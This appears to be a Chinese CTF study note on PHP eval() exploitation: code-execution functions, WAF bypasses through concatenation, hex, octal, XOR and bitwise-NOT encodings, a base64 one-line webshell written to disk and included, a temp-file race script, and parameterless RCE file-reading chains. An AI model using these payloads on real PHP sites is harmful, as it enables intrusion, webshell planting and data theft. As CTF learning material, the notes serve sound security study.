前言

主要借ctf中eval函数的利用记录以下php语句特点和web木马的构造

php短标签

1
2
3
4
5
6
7
    <? ?>相当于<?php ?>
<?= ?>相当于<?php echo ?>

<script language="php">echo "1";</script>//实测php5可以,但是php7就不支持了
<?="1"?> //相当于<?php echo "1";?>
<?echo"1"?> //前提是开启配置参数short_open_tags=on(默认值是 on)
<% echo"1";%> //前提是开启配置参数asp_tags=on(默认值是 Off),php7.0及以上版本不能使用

php–代码执行

php代码执行函数

eval()

eval是一个语言构造器,并不是系统组件函数,不能被 可变函数 调用。因此我们在php.ini中使用disable_functions是无法禁止它的,只有使用插件才能禁用。因此一般我们的一句话木马一般都写成<?php eval($_POST['1']);而不是<?php$_POST['1']($_POST['2']);
eval() 函数把字符串按照 PHP 代码来计算且只能执行一次,该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

assert()

编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真(为真才能继续执行)。如果该表达式为假,就中断操作. 版本在PHP7以下是函数 PHP7及以上为语法结构,php7.1以后就只能用eval了 assert默认没有执行功能了
assert ( mixed $assertion [, Throwable $exception ] );

1
2
3
4
eval(" phpinfo()"); <错误>

eval(" phpinfo();"); <正确>
assert(" phpinfo()"); <正确>

preg_replace() /e代码执行漏洞

preg_replace($pattern, $replacement, $subject),搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换,如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串.
(如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。)

正则表达式中的/e模式的作用是将替换串中的内容当作代码来执行,/e模式是php语言才有的,除此之外还有/i(不区分大小写)等。php5.5废除preg_replace的/e模式(不是移除)当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:’、”、 和 NULL) 而后进行后向引用替换.

1
2
3
4
<?
function test($str){ .......}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>

在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
我们如果提交?h=[php]{${phpinfo()}}[/php],replacement 参数变为test("{${phpinfo()}}"),phpinfo()就会被执行

create_function(此函数在内部执行 eval(),已在 PHP 7.2.0 起被废弃)

创建一个匿名(lambda样式)函数

1
2
3
4
5
6
//函数构造
create_function('$fname','echo $fname."Zhang"')
//等价于
function fT($fname){
echo $fname."Zhang";
}

1.系统就会寻找闭合的引号,此时引号内的注释符等会忽略;
2.系统寻找逗号;
3.系统寻找一对单/双引号;
4.系统寻找)和;。

1
2
3
4
//第一个参数的利用
$a = ){}system(“dir”);// create_function($a,’’); -> function lambda_15( ){}system('ls'); //) {}
//第二个参数的利用
$a='';}phpinfo();// create_function('','echo.$a.;') ->function lambda_15(){echo'';}phpinfo(); // ;}

回调函数

  1. call_user_func
    call_user_func(callable $callback, mixed ...$args): mixed
    callback
    将被调用的回调函数
    args
    0个或以上的参数,被传入回调函数。
    call_user_func(‘assert’, ‘phpinfo();’);
    call_user_func(‘extract’, array);传入一个数组作为参数

call_user_func(array(NAMESPACE .’\Foo’, ‘test’));
当传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。

  1. call_user_func_array
    同call_user_func 可传入一个数组带入多个参数调用函数

    1
    2
    3
    4
    5
    6
    7
    8
    call_user_func_array ('file_put_contents', ['1.txt','6666']);
    $vars[0]='system';
    $vars[1][]='whoami';
    call_user_func_array($vars[0],$vars[1]);

    $foo = new foo;
    call_user_func_array(array($foo, "bar"), array("three", "four"));
    ?>
  2. array_map
    为数组的每个元素应用回调函数
    $a = [1, 2, 3, 4, 5];
    array_map('cube', $a);
    也可以多参
    array_map('cube', $a,$b);

  3. array_filter
    array_filter($a, "odd")
    遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。

  4. array_walk_recursive
    array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool
    array
    输入的数组。
    callback
    典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
    arg
    如果提供了可选参数 arg,将被作为第三个参数(整个)传递给callback。

array_walk_recursive内部机制相关,会把第一个参数数组里面的值循环迭代传进去,第三个参数一直参加调用

php文件操作

目录操作

1
2
3
4
5
6
rmdir           //删除目录
​is_dir() //函数检查指定的文件是否是目录。
getcwd() //同pwd
mkdir //创建目录
chdir //改变目录
scandir("/") //函数返回指定目录中的文件和目录的数组,$dir可以是相对路径,也可以是绝对路径

文件操作

1
2
3
4
move_uploaded_file  //(临时上传文件路径,目标文件路径);//移动临时上传文件
unlink //删除文件
copy //复制文件copy($file, $newfile);
file_exists() //函数检查文件或目录是否存在。

文件写入

1
2
3
4
5
file_put_contents   //将一个字符串写入文件file_put_contents("1.txt","6666");参数 data 也可以是数组(但不能是多维数组)

$fp = fopen(文件路径, "w");//以写入模式打开一个文件 返回文件指针(不存在会自动创建)
fwrite($fp,写入字符串);//写入数据
fclose($fp);//关闭文件

文件读取

1
2
3
4
5
6
7
8
9
file_get_contents           //读入文件返回字符串,echo file_get_contents("flag.txt"); echo file_get_contents("https://www.bilibili.com/");
readfile //读取一个文件,写入到输出缓冲区,并返回从文件中读入的字节数
file //把整个文件读入一个数组中echo implode('', file('https://www.bilibili.com/'));
highlight_file/show_source //语法高亮一个文件highlight_file("1.php");
parse_ini_file //读取并解析一个ini配置文件print_r(parse_ini_file('1.ini'));
simplexml_load_file //读取文件作为XML文档解析

​fopen/fread/fgets/fgetss /fgetc/fgetcsv/fpassthru/fscanf//打开文件或者 URL 读取文件流
$file = fopen("test.txt","r"); echo fread($file,"1234"); fclose($file);

输出

print_r() 函数用于打印变量,以更容易理解的形式展示。
var_dump() 函数用于输出变量的相关信息。
QQ截图20220715223832

文件删除

unlink() 传入文件名删除文件

waf绕过

PHP7前是不允许用($a)(),即方法名不能被进一步解析
PHP7中增加了对此的支持

  1. 字符串拼接绕过(PHP>=7)
    在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如$name = (string)mochu7;,在这种情况下,$name就包含字符串”mochu7”,此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理

    1
    2
    3
    4
    5
    6
    (p.h.p.i.n.f.o)();
    (sy.(st).em)(whoami);
    (sy.(st).em)(who.ami);
    (s.y.s.t.e.m)("whoami");
    .......

  2. 字符串转义绕过(php>=7)
    php默认字符串用
    在php7中当字符串作为代码时,如果存在其中””,会先对其中的内容进行解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
    "\x70\x68\x70\x69\x6e\x66\x6f"(); #phpinfo();

    以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
    "\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id'); #system('id');

    以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
    "\163\171\163\164\145\155"('whoami'); #system('whoami');
    "\163\171\163\164\145\155"("\167\150\157\141\155\151"); #system('whoami');
    .......

    这种只支持将字符串当作参数传入到到eval中,即eval($a),支持拼接,但不支持eval($a($b))这样的分参的形式;

  3. 多次传参绕过
    PHP的url参数的值可视为包裹在””的字符串,可以被进一步解析

    1
    2
    3
    4
    5
    eval($cmd)
    GET:
    ?1=system&2=whoami
    POST:
    cmd=$_GET[1]($_GET[2]);
  4. 异或绕过

    1
    2
    3
    4
    5
    6
    7
    其中%ff为字符ÿ
    http://localhost:3000/php/text.php?code=${('%00'^'%5f').('%07'^'%40').('%05'^'%40').('%09'^'%5d')}{%ff}();&%ff=phpinfo
    //${_GET}{%ff}();&%ff=phpinfo
    //phpinfo()

    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
    //${_GET}{%ff}();&%ff=phpinfo
  5. 取反绕过(php>=7)
    PHP7前是不允许用($a)(),即方法名不能被进一步解析
    PHP7中增加了对此的支持

    1
    2
    3
    4
    5
    //
    <?php
    $a="cat /flag";
    var_dump(urlencode(~"$a"));
    ?>

    (~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96); #system('whoami');

$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);

require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
require+伪协议实现任意文件读取

  1. 利用php弱类型转化和自增

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php

    //array(0) {}
    $l=1;
    $_=([].[])[0];//Array

    $_=((0/0).[])[3]; //NAN
    var_dump($_);
    $_=($_/$_.$_)[0]; //N
    $k='1';
    //$__=$_.$_++; 时的$_=O $_.$_++; 这个顺序是(实验得出来的):
    // 先使用 后自增 最后使用 $__=$_.O; -> $_++ -> $__=P.O;

    $_=[].[];//ArrayArray
    $__='';
    $%ff=$_[''];//A

    ////ABCDEFGHIJKLMNOPKRSTUVWXYZ
    //// 1 1 1 11 1

    长度绕过

    值得注意的是在调用php数组时,若键为字母并且没有被引号包围的化,在编译器中提示错误,但运行时不会报错,$_GET[aaaa]

  2. 命令执行的利用

    1
    2
    param=`$_GET[1]`;&1=bash
    param=exec($_GET[1]);
  3. 文件包含

  • 远程文件包含的利用
  • 本地文件包含的利用
    1
    2
    3
    4
    5
    6
    param=$_GET[a](N,a,8);&a=file_put_contents
    //利用file_put_contents可以将字符一个个地写入一个文件中

    # 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
    # 最后包含
    param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
  1. 利用变长参数特性展开数组
    在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
    Host: localhost:8081
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 22

    param=usort(...$_GET);

    经典rce套路

  2. 临时文件利用
    get传参code= ?>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import requests

    s = requests.session()

    while True:
    url = "http://10.140.98.245/29-77/56.php"
    c = "?c=.+/???/????????[@-[]"
    payload = url+c
    reques = s.post(url=payload, files={"file":('1.php',b'cat flag.php')})
    if reques.text.find("flag") > 0:
    print(reques.text)
    break
  3. disable_fuctions绕过
    查看目录

print_r(scandir(dirname(‘FILE‘))); //查看当前目录

print_r(scandir(‘./‘)); //查看当前目录

print_r(scandir(‘/‘)); //查看根目录

无参数rce

核心代码

1
2
3
4
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

(?R)是引用当前表达式的意思,即可以用\w+((?R)?)替换到(?R)的位置,因此可以衍生成匹配\w+(\w+((?R)?))、\w+(\w+(\w+((?R)?)))、…
可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),不能带参数

从外取值

1.getallheaders()

这个函数的作用是获取http所有的头部信息,即headers,但这个有个限制条件就是必须在apache的环境下可以使用
返回值

1
2
3
4
5
6
7
8
9
array(8) { 
["Host"]=> string(14) "106.14.114.127"
["Connection"]=> string(10) "keep-alive"
["Cache-Control"]=> string(9) "max-age=0"
["Upgrade-Insecure-Requests"]=> string(1) "1"
["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"
["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9"
}

QQ截图20220802184221
如果当前为多元数组,则返回的元素为数组,另外current的还有个别名为pos
有的时候当我们想读的文件比较靠后时,就可以用array_reverse()这个函数把它倒过来,就可以少用几个next()

我们在http header中写入我们的参数,可用其进行bypass 无参数函数执行
例如
end(getallheaders())

2.get_defined_vars()(版本要求:PHP 4 >= 4.0.4, PHP 5, PHP 7)

返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
在这里可以发现其只能回显全局变量

1
2
3
4
$_GET
$_POST
$_FILES
$_COOKIE
3.session_id()

注意的就是session_id()要开启session才能用,session_id()会获取/设置COOKIE的PHPSESSID,
但PHPSESSID允许字母和数字出现,我们可以先将其16进制编码,再用hex2bin函数将16进制转换为字符串

4.getenv()

getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
所以该函数只适用于PHP7.1之后版本
1594112652
我们怎么从一个偌大的数组中取出我们指定的值,我们可用爆破的方式获取数组中任意位置需要的值
array_rand随机返回一个或多个键,第二个参数用来确定要选出几个键,默认是一个键
array_flip交换数组中的键和值

直接读取文件

路径操作
  1. 获取当前目录
  • getcwd()获取当前目录

  • scandir()列出目录中的文件和目录

    1
    2
    3
    ?code=var_dump(scandir(getcwd()));

    array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

    正常的,也可以使用print_r(scandir(‘.’));来查看当前目录所有文件名

  • localeconv() 函数返回一个包含本地数字及货币格式信息的数组,它返回的是一个二维数组,而它的第一位就是一个点.
    1594112630

  • chr(46)
    chr(46)就是字符.,chr() 函数以256为一个周期,所以 chr(46)、chr(302)、chr(558)等都等于 .

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    1. phpversion()
    如果PHP版本为5
    floor(phpversion())返回 5
    sqrt(floor(phpversion()))返回2.2360679774998
    tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
    cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
    sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
    ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
    2. time()
    返回自从 Unix 纪元(格林威治时间 1970 年 1 月 1 日 00:00:00)到当前时间的秒数,date("Y-m-d",$t)可以返回当地时间。
    chr(time()),一个周期(256)必定出现一次"."
    chr(localtime(time())) 以数组的形式返回本地时间,第一个值为秒,则一个周期(60)必定出现一次"."
    3. crypt
    hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符
    chr(ord(hebrevc(crypt(time()))))
  • 其他获得.的方法
    strrev(crypt(serialize(array())))也可以得到”.”

  1. 目录遍历
    那么既然不在这一层目录,如何进行目录上跳呢?
  • dirname()返回路径中的目录部分
  • chdir()可以更改我们的当前目录
    通过不断切换目录实现任意文件读取
    当然chdir(‘..’),即chdir(next(scandir(getcwd()))),也可以更改我们的当前目录